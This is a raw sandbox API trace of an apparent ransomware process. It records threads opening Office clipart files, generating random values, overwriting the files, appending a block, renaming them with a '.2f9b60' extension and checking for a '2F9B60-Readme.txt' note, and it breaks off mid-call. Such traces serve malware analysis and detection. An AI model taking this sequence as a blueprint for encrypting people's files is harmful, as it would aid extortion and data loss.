[0124.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106940) returned 1 [0124.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49850) returned 1 [0124.698] NtQueryInformationFile (in: FileHandle=0xff0, IoStatusBlock=0x20c3f7d8, FileInformation=0x20c3f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20c3f7d8, FileInformation=0x20c3f7e8) returned 0x0 [0124.698] NtSetInformationFile (FileHandle=0xff0, IoStatusBlock=0x20c3f7d8, FileInformation=0x20c3f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0124.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b910) returned 1 [0124.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863f80) returned 1 [0124.701] FlushFileBuffers (hFile=0xff0) returned 1 [0124.704] CloseHandle (hObject=0xff0) returned 1 [0124.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x2027b550 [0124.705] wcscpy (in: _Dest=0x2027b550, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0124.705] wcscat (in: _Dest=0x2027b550, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0124.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0124.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b550) returned 1 [0124.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5b20) returned 1 Thread: id = 1538 os_tid = 0x1a5c [0121.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x20 [0122.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF", dwFileAttributes=0x20) returned 1 [0122.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfc0 [0122.615] GetFileSizeEx (in: hFile=0xfc0, lpFileSize=0x20fef6e0 | out: lpFileSize=0x20fef6e0*=8366) returned 1 [0122.615] SetFilePointerEx (in: hFile=0xfc0, liDistanceToMove=0x20aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.615] ReadFile (in: hFile=0xfc0, lpBuffer=0x20fef660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20fef6a8, lpOverlapped=0x0 | out: lpBuffer=0x20fef660*, lpNumberOfBytesRead=0x20fef6a8*=0x4, lpOverlapped=0x0) returned 1 [0122.629] SetFilePointerEx (in: hFile=0xfc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e2c0 [0122.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e350 [0122.629] NtQuerySystemTime (in: CurrentTime=0x20fef5a0 | out: CurrentTime=0x20fef5a0*=132462177280054000) returned 0x0 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x357016c5 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x1d61dad1 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x5b43d887 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x3826d4a8 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x2c96fe41 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x551b8c07 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x1efff8a9 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x4ee622a1 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x29db3645 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x3bf6ba2e [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x2895f2e2 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x26468fb6 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x3ab780cb [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x357016c5 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x64ff877d [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x153ac639 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x1f7878b2 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x2574ebda [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x58612d27 [0122.629] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x5ca6b17d [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x10dceac [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x337c8572 [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x16451c79 [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x6df1fed9 [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x494fef41 [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x12db2ac0 [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x61cea3f2 [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x5dc76a6a [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x287a11b8 [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0xf821b62 [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x5f18f175 [0122.630] RtlRandomEx (in: Seed=0x20fef590 | out: Seed=0x20fef590) returned 0x4f09e4f2 [0122.636] ReadFile (in: hFile=0xfc0, lpBuffer=0x41f3d170, nNumberOfBytesToRead=0x20ae, lpNumberOfBytesRead=0x20fef590, lpOverlapped=0x0 | out: lpBuffer=0x41f3d170*, lpNumberOfBytesRead=0x20fef590*=0x20ae, lpOverlapped=0x0) returned 1 [0122.656] SetFilePointerEx (in: hFile=0xfc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.657] WriteFile (in: hFile=0xfc0, lpBuffer=0x41f4c1b0*, nNumberOfBytesToWrite=0x20ae, lpNumberOfBytesWritten=0x20fef594, lpOverlapped=0x0 | out: lpBuffer=0x41f4c1b0*, lpNumberOfBytesWritten=0x20fef594*=0x20ae, lpOverlapped=0x0) returned 1 [0160.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2030 [0160.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2060 [0160.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2060) returned 1 [0160.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f4c1b0) returned 1 [0160.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f3d170) returned 1 [0160.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d90) returned 1 [0160.819] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420595b0) returned 1 [0160.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2060 [0160.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420595b0 [0160.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503d90 [0160.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2090 [0160.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2090) returned 1 [0160.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2090 [0160.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a20c0 [0160.821] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a20f0 [0160.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a20f0) returned 1 [0160.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503d90) returned 1 [0160.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420595b0) returned 1 [0160.822] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce130d0 [0160.822] SetFilePointerEx (in: hFile=0xfc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.822] WriteFile (in: hFile=0xfc0, lpBuffer=0x1ce130d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x20fef6b0, lpOverlapped=0x0 | out: lpBuffer=0x1ce130d0*, lpNumberOfBytesWritten=0x20fef6b0*=0x10a, lpOverlapped=0x0) returned 1 [0165.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e4d0 [0165.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e4d0) returned 1 [0165.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e4d0 [0165.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e4a0 [0165.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e4a0) returned 1 [0165.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.494] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="e1") returned 2 [0165.494] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="ea") returned 2 [0165.494] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="66") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="a9") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="f4") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="0b") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="30") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="f2") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="b0") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="9b") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="01") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="d8") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="a0") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="86") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="dd") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="7c") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="58") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="2a") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="61") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="aa") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="6a") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="6e") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="cd") returned 2 [0165.495] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="98") returned 2 [0165.495] RtlInitAnsiString (in: DestinationString=0x20fef728, SourceString="e1ea66a9f40b30f2b09b01d8a086dd7c582a61aa6a6ecd98" | out: DestinationString="e1ea66a9f40b30f2b09b01d8a086dd7c582a61aa6a6ecd98") [0165.496] RtlAnsiStringToUnicodeString (in: DestinationString=0x20fef6f8, SourceString="e1ea66a9f40b30f2b09b01d8a086dd7c582a61aa6a6ecd98", AllocateDestinationString=1 | out: DestinationString="e1ea66a9f40b30f2b09b01d8a086dd7c582a61aa6a6ecd98") returned 0x0 [0165.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce150d0 [0165.496] RtlFreeAnsiString (AnsiString="e") [0165.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e4d0) returned 1 [0165.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce130d0) returned 1 [0165.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2090) returned 1 [0165.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a20c0) returned 1 [0165.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2060) returned 1 [0165.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2030) returned 1 [0165.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e2c0) returned 1 [0165.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e380) returned 1 [0165.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e3b0) returned 1 [0165.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30d10 [0165.499] wcscat (in: _Dest=0x42c30d10, _Source="e1ea66a9f40b" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1ea66a9f40b") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1ea66a9f40b" [0165.499] wcscat (in: _Dest=0x42c30d10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1ea66a9f40b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1ea66a9f40b.2f9b60" [0165.499] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1ea66a9f40b.2f9b60", NtPathName=0x20fef6d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\e1ea66a9f40b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c36810 Thread: id = 1539 os_tid = 0x1a60 [0121.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0122.441] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF", dwFileAttributes=0x20) returned 1 [0122.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfec [0123.453] GetFileSizeEx (in: hFile=0xfec, lpFileSize=0x20dbfce0 | out: lpFileSize=0x20dbfce0*=4976) returned 1 [0123.453] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x136c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.453] ReadFile (in: hFile=0xfec, lpBuffer=0x20dbfc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20dbfca8, lpOverlapped=0x0 | out: lpBuffer=0x20dbfc60*, lpNumberOfBytesRead=0x20dbfca8*=0x4, lpOverlapped=0x0) returned 1 [0123.766] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82af60 [0123.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ebc0 [0123.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec20 [0123.766] NtQuerySystemTime (in: CurrentTime=0x20dbfba0 | out: CurrentTime=0x20dbfba0*=132462177291442000) returned 0x0 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x238eb577 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x71e3abce [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x54fcff19 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x6e463114 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x1a88741d [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x2fabf462 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x3d26852b [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x53351a0d [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x34ec7f59 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0xbaf8ee3 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x56792f67 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x7f9131ac [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x5c6c3763 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x4aac8dfd [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x3fde03ef [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x6a7a8ded [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x1e86271c [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x46705d49 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x4677d6dd [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x5abddd05 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x55a1507c [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x88387c3 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x3e72ee4 [0123.766] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0xb6a7eab [0123.767] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x6ddb1073 [0123.767] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x700afd64 [0123.767] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x5c72af24 [0123.767] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x727cae92 [0123.767] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x5804a43 [0123.767] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x1a88741d [0123.767] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x5b4b9a80 [0123.767] RtlRandomEx (in: Seed=0x20dbfb90 | out: Seed=0x20dbfb90) returned 0x155b7d3a [0124.498] ReadFile (in: hFile=0xfec, lpBuffer=0x41d31d40, nNumberOfBytesToRead=0x1370, lpNumberOfBytesRead=0x20dbfb90, lpOverlapped=0x0 | out: lpBuffer=0x41d31d40*, lpNumberOfBytesRead=0x20dbfb90*=0x1370, lpOverlapped=0x0) returned 1 [0124.883] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.883] WriteFile (in: hFile=0xfec, lpBuffer=0x20491ef0*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x20dbfb94, lpOverlapped=0x0 | out: lpBuffer=0x20491ef0*, lpNumberOfBytesWritten=0x20dbfb94*=0x1370, lpOverlapped=0x0) returned 1 [0124.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0124.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0124.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0124.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20491ef0) returned 1 [0124.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d31d40) returned 1 [0124.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8670c0) returned 1 [0124.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059dd0) returned 1 [0124.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced83d0 [0124.930] SetFilePointerEx (in: hFile=0xfec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0124.930] WriteFile (in: hFile=0xfec, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x20dbfcb0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x20dbfcb0*=0x10a, lpOverlapped=0x0) returned 1 [0124.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0124.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504790 [0124.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9940 [0124.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9940) returned 1 [0124.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0124.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9940 [0124.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9820 [0124.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9820) returned 1 [0124.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504790) returned 1 [0124.952] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0124.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0570 [0124.953] sprintf (in: _Dest=0x1cda0570, _Format="%c%c" | out: _Dest="ed") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0572, _Format="%c%c" | out: _Dest="d8") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0574, _Format="%c%c" | out: _Dest="1f") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0576, _Format="%c%c" | out: _Dest="4e") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0578, _Format="%c%c" | out: _Dest="b1") returned 2 [0124.953] sprintf (in: _Dest=0x1cda057a, _Format="%c%c" | out: _Dest="96") returned 2 [0124.953] sprintf (in: _Dest=0x1cda057c, _Format="%c%c" | out: _Dest="6c") returned 2 [0124.953] sprintf (in: _Dest=0x1cda057e, _Format="%c%c" | out: _Dest="66") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0580, _Format="%c%c" | out: _Dest="d6") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0582, _Format="%c%c" | out: _Dest="5a") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0584, _Format="%c%c" | out: _Dest="ef") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0586, _Format="%c%c" | out: _Dest="66") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0588, _Format="%c%c" | out: _Dest="f5") returned 2 [0124.953] sprintf (in: _Dest=0x1cda058a, _Format="%c%c" | out: _Dest="93") returned 2 [0124.953] sprintf (in: _Dest=0x1cda058c, _Format="%c%c" | out: _Dest="17") returned 2 [0124.953] sprintf (in: _Dest=0x1cda058e, _Format="%c%c" | out: _Dest="08") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0590, _Format="%c%c" | out: _Dest="0e") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0592, _Format="%c%c" | out: _Dest="70") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0594, _Format="%c%c" | out: _Dest="b7") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0596, _Format="%c%c" | out: _Dest="36") returned 2 [0124.953] sprintf (in: _Dest=0x1cda0598, _Format="%c%c" | out: _Dest="74") returned 2 [0124.954] sprintf (in: _Dest=0x1cda059a, _Format="%c%c" | out: _Dest="d2") returned 2 [0124.954] sprintf (in: _Dest=0x1cda059c, _Format="%c%c" | out: _Dest="53") returned 2 [0124.954] sprintf (in: _Dest=0x1cda059e, _Format="%c%c" | out: _Dest="8e") returned 2 [0124.954] RtlInitAnsiString (in: DestinationString=0x20dbfd28, SourceString="edd81f4eb1966c66d65aef66f59317080e70b73674d2538e" | out: DestinationString="edd81f4eb1966c66d65aef66f59317080e70b73674d2538e") 